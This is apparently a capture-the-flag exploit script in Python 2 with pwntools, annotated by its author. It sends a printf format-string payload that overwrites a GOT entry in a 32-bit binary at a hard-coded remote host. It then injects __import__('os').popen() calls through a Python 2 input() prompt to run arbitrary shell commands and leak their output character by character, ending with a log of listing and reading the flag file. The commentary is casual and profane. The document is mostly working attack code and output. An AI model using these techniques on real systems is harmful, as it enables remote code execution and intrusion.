```#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import *import sys################################################################################# Provided was a 32bit ELF with a printf bug.# and a ip address and port to connect to.target  = "13.233.66.116"port = 6969
# turns out this was a two stage challenge.# found the printf bug pretty quick and i wasted a lot of time trying to get# a address pointing to /bin/sh on the stack so I could pop'a'shell# but in near the end I realizeded I sould problably NOT ignore the system call# that ran a python script and that the python script was also exploitable.
# if you don't know about formatstring things,# you sould check out "lifeoverflow's" from "ALLES!" his youtube video,# that guy is realy good in explaining stuff and is perfect if your to lazy to read.# (or write about it, then you just refer to the video)
# anywhore this ended up being my printf payload.payload = 'fuck'+p32(0x80dc035)+'this'+p32(0x80dc033)+'%1163x%hnn%99411x%hnn\n'# (yeah i know i screwed up with order of writing parts of the word.# but i already trialed and errored  my way halfway there before i noticed so i# just went with it.)
# In case you are wondering what I overwrite Its some (idk what's) address on the GOT# that get's called after the payload is dropped .. i just dopped breakpoints# on all addresses that were in the GOT and went for the first one that got called# and the adress I write is 0x8049b88 wich points to this piece of code.''''08049b88         push       ebp                                                 ; End of unwind block (FDE at 0x80c6bc4), Begin of unwind block (FDE at 0x80c6be4)08049b89         mov        ebp, esp08049b8b         push       aPython2UPrintf                                     ; "python2 -u ./printflag.py"08049b90         call       sub_8050790+108808049b95         add        esp, 0x408049b98         push       0x0                                                 ; argument #1 for method I_guess_this_is_system08049b9a         call       I_guess_this_is_system                              ; I_guess_this_is_system'''
# I also had a payload overwriteing the address to the cat flag thingemagic,# but I lost it. (I should realy start using an other type of version controll# than holding down ctrl+z until it doesn't look fuckedup anymore.)
'''08049b75         push       ebp                                                 ; Begin of unwind block (FDE at 0x80c6bc4)08049b76         mov        ebp, esp08049b78         push       aCatPrintflagpy                                     ; "cat printflag.py"08049b7d         call       sub_8050790+108808049b82         add        esp, 0x408049b85         nop08049b86         leave08049b87         ret'''
# So now for stage 2# the python script we can now run and cat on the server looks like:'''
#!/usr/bin/python2
while True:	print "Enter number of times to print flag"	print "flag " * input("> ")
'''
# input() is used so that allows us to feed it fuctions, as long as# they return a int becose it's getting muliplyed with the string "flag ".# (yeah that makes sense in the wonderfull world of python)
# now we can send it commands and get the amount of flags in return.# so lets make a little function to count the amount of "flag " and return a int#def cf(r):    r = r[:r.index("\n")]       # there is probebly a better way to    r = r.split(" ")            # do this but this was like 20 minuts    return len(r)-1             # before the end of the CTF .. meh..                                # if it works it works right.
# anyway in the code below i set up a connection to the server# drop the printf payload.# and have al little loop dropping payloads for the python script.# like a lot.. like for every god damn charcter in the stdout of a command.# running the command every single time aswell because my lack of finnese# and the runing out of CTF time.. (hehhehe CTFtime)
io = remote(target,port)io.sendline(payload)sleep(2)io.clean()  # you don't want al that printf padding to clutter up your recv buffer.
while 1:    try:        fn = raw_input("$")        if fn == "q\n":            break        # so first i get the length what the command returns        io.sendline("len(__import__('os').popen('"+fn[:-1]+"').read())")        sleep(0.5)        fl = cf(io.recv())        for i in range (0,fl):            # and then I run the command over and over again and get all the charcters of the resonse.            io.sendline("ord(__import__('os').popen('"+fn[:-1]+"').read()["+str(i)+":"+str(i+1)+"])")            # (jep this is how I did it. i could have written the output to a file and leak the file.            # but time was of the essence..)            sleep(0.2)            sys.stdout.write(chr(cf(io.recv()))) #fancy print the output.        print '\n'    except:        # close connection, reconnect and drop payload again in case connection gets dropped or        # if something else fuckes up        print "I duN G00f3d!!"        io.close()        io = remote(target,port)        io.sendline(payload)        sleep(2)        io.clean()io.close()
'''[+] Opening connection to 13.233.66.116 on port 6969: Done$lsN0tY0urC0nventionalFl4gFile.txtnot_easyprintflag.py
$cat N0tY0urC0nventionalFl4gFile.txtflag{F1rst_pr1ntf_th3n_pyth0n5_inPuT_fuNct10n__wHy_00hH_whY}
$'''# I managed to capture the flag 3 minutes and 10 seconds before the end of the CTF# Holly ballsack! That was pretty intense moment.
```